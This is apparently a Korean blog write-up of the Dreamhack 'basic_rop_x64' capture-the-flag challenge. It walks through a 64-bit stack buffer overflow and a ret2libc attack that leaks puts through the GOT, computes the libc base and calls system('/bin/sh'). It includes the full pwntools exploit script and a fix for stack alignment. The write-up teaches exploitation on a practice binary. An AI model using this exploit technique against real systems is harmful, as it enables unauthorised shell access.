Index
이 문제는 64비트 버퍼오버플로우를 익스플로잇하는 가장 기본적인 문제이다.
필자의 풀이 환경은 Ubuntu 20.04 이다.
문제
문제에서 주어지는 파일이다. 친절하게 소스 파일까지 주어진다.
보호기법 확인
보호 기법은 위 사진과 같다. 웬만한 보호기법은 적용되지 않았다.
basic_rop_x64.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
문제 풀이
buf 변수는 0x40의 크기로 할당하고, 사용자 입력을 0x400 바이트를 받는다.
이 부분에서 버퍼오버플로우가 발생할 것이다. 정확한 버퍼 거리를 위해 gdb로 확인해보자.
read 함수의 두번째 인자로 buf의 주소를 넘겨주므로, rbp-0x40가 buf의 시작 주소가 된다.
그렇다면 buf+0x48은 이 함수 스택 프레임의 RET 값이고, 이 값을 변조할 수 있게 된다.
64비트는 32비트와는 다르게 함수를 호출할 때, 스택이 아닌 레지스터의 값을 참조한다.
이는 함수를 호출 방식을 약속한 것이기 때문에, 어떤 레지스터 순서로 참조하는지 알고 있어야 한다.
이 부분을 제외하고는 32비트와 크게 다른 부분이 없다.
32비트에서의 가젯의 역할은 함수가 끝난 후 인자만큼 esp를 조정해주는데 사용되지만, 64비트는 적절한 레지스터에 pop을 해줘야 하므로 가젯의 역할이 조금 더 중요하다고 볼 수 있다.
1. 바이너리의 PLT 확인
puts의 plt가 있으므로, 우리는 puts라는 함수를 사용할 수 있다. 이것으로 실제 올라간 함수 주소를 릭하고, libc 시작 주소를 얻을 것이다.
2. 사용할 함수 인자에 맞는 Gadget 구하기
ROPgadget 이라는 툴을 통해 binary 안에 있는 Gadget을 확인할 수 있다.
ROPgadget --binary basic_rop_x86 | grep "pop"
우리가 사용할 함수는 puts와 system함수로 문제를 풀 것이므로, 인자가 한개가 사용된다.
인자가 하나일 때 rdi 레지스터를 사용하기 때문에, 우리는 pop rdi
가젯이 필요하다.
3. 익스플로잇 전략
- RET에
pop rdi
가젯주소를 넣어서puts@got
를 rdi 레지스터에 넣어준다.→ puts의 실제 함수 주소를 얻을 수 있고, 이를 통해 libc의 시작 주소를 얻는다.
- libc의 시작 주소로 libc offset을 이용해서
system
함수와/bin/sh
문자열 주소를 얻는다.
- 이후 RET에 main함수로 다시 돌아와서 다시 버퍼오버플로우를 발생시킨다.
pop rdi
가젯으로/bin/sh
문자열 주소를 rdi 레지스터에 넣어주고,system
함수를 호출한다.
익스플로잇
from pwn import *
context.log_level='debug'
p = process('./basic_rop_x64')
e = ELF('./basic_rop_x64')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#p = remote('host3.dreamhack.games', 12373)
#libc = ELF('./libc.so.6')
ret = 0x00000000004005a9
pop_rdi = 0x0000000000400883
puts_got = e.got['puts']
puts_plt = e.plt['puts']
# [1] libc leak
payload = b'A'*0x48
payload += p64(ret)
# puts(puts_got)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(e.sym['main'])
p.send(payload)
p.recvuntil(b'A'*0x40)
puts = u64(p.recvn(6)+b"\x00"*2)
libc_base = puts - libc.sym['puts']
system = libc_base + libc.sym['system']
sh = libc_base + list(libc.search(b'/bin/sh'))[0]
print('[+] puts :',hex(puts))
print('[+] libc_base :',hex(libc_base))
print('[+] system :',hex(system))
print('[+] /bin/sh :',hex(sh))
# [2] exploit
payload = b'A'*0x48
payload += p64(pop_rdi)
payload += p64(sh)
payload += p64(system)
p.send(payload)
p.interactive()
익스플로잇 오류 및 해결방법
아무리 생각해도 익스플로잇 흐름이 맞는데, 익스가 안되는 경우가 있었다.
이 부분은 glibc 2.27 버전 이후에 movaps
명령어가 8바이트가 아닌 16바이트를 처리하기 때문에 16바이트 기준으로 맞춰줘야 한다.
그래서 익스 코드를 보면, 첫 RET에 ret 가젯으로 16바이트를 맞춰준 것을 확인할 수 있다.
ret 가젯을 넣지 않았을 경우, 아래 사진처럼 첫 send에서 0x68 바이트를 전송하여 16바이트로 맞춰지지 않은 것을 확인할 수 있다. 익스가 잘 되지 않는다면, 확인해보면 좋을 것 같다.
위 사진과 같은 디버깅 창을 나타내고 싶다면, 익스 코드 위에 context.log_level='debug'
를 추가해주면 된다.
Uploaded by N2T